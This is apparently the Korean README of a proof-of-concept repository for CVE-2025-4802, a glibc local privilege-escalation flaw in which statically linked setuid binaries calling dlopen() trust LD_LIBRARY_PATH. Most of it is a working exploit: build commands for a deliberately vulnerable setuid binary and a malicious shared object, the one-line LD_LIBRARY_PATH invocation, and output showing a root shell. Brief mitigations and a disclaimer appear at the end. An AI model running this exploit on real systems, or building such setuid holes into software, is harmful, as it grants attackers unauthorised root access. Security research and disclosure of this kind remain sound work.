
정적으로 컴파일된 setuid 바이너리가 LD_LIBRARY_PATH를 통한 dlopen에 취약한 것에 대한 개념 증명
⚠️ 면책 조항: 이 저장소는 교육 및 공인된 보안 연구 목적으로만 사용됩니다. 소유하지 않거나 명시적 테스트 허가를 받지 않은 시스템에 이 익스플로잇을 사용하지 마십시오. 오용 시 법률 및 규정을 위반할 수 있습니다.
| 필드 | 세부 정보 |
|---|---|
| CVE ID | CVE-2025-4802 |
| 영향 받는 소프트웨어 | GNU C 라이브러리 (glibc) |
| 영향 받는 버전 | 2.27 – 2.38 |
| 취약점 유형 | 신뢰할 수 없는 LD_LIBRARY_PATH를 통한 권한 상승 |
| 공격 벡터 | 로컬 |
GNU C 라이브러리(glibc) 버전 2.27부터 2.38까지의 취약점으로 인해 공격자는 정적으로 컴파일된 setuid 바이너리에서 dlopen()을 호출할 때 LD_LIBRARY_PATH 환경 변수를 악용할 수 있습니다.
일반적으로 동적 링커는 setuid 프로그램에 대해 LD_LIBRARY_PATH를 정리합니다. 그러나 정적으로 컴파일된 바이너리는 동적 링커를 완전히 우회하므로 LD_LIBRARY_PATH가 절대 지워지지 않습니다. 이러한 바이너리가 dlopen()을 호출하면(직접적으로, 또는 setlocale()이나 getaddrinfo() 같은 NSS 함수를 통해 간접적으로), glibc는 공격자가 제어하는 LD_LIBRARY_PATH를 사용하여 공유 라이브러리를 해석하므로, 상승된 권한으로 임의 코드 실행이 가능해집니다.
dlopen("myso.so", ...)을 호출하여 공유 객체를 이름으로(절대 경로가 아님) 로드합니다.ld-linux.so)가 실행되지 않으므로 LD_LIBRARY_PATH가 정리되지 않습니다.hello() 심볼을 내보내지만 루트 셸을 생성하는 악의적인 공유 객체(myso.so)를 만듭니다.LD_LIBRARY_PATH를 악의적인 라이브러리가 있는 디렉터리를 가리키도록 설정합니다..
├── main.c # 취약한 setuid 바이너리 소스
├── myso.c # 합법적인 공유 객체 (안전)
├── evil_library/
│ └── evilso.c # 악의적인 공유 객체 (루트 셸 생성)
├── proof_of_concept_screenshot.png # 익스플로잇 터미널 스크린샷
├── proof_of_concept_video.mp4 # 비디오 워크스루
├── Makefile # 빌드 자동화
└── README.md
ldd --version으로 확인)gcc, makemake all
또는 수동으로:
# 합법적인 공유 객체 빌드
gcc -shared -o myso.so -fPIC myso.c
# 취약한 바이너리 빌드 (정적으로 링크)
gcc -static -o main main.c -ldl
# 악의적인 공유 객체 빌드
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c
sudo chown root:root main
sudo chmod u+s main
./main
예상 출력:
BEGINNING OF MAIN
Hello from the safe shared object!
END OF MAIN
LD_LIBRARY_PATH로 익스플로잇 (악의적인 동작)LD_LIBRARY_PATH=./evil_library ./main
예상 출력:
BEGINNING OF MAIN
I'm evil now
EXEC TO ROOT SHELL
# whoami
root
바이너리가 합법적인 myso.so 대신 evil_library/에 있는 공격자의 myso.so를 로드하여 루트 셸을 생성합니다.

비디오 워크스루도 제공됩니다: proof_of_concept_video.mp4
dlopen()을 사용하는 경우 정적 링크 피하기dlopen() 호출에서 라이브러리 이름 대신 절대 경로 사용dlopen() 호출 전에 권한 해제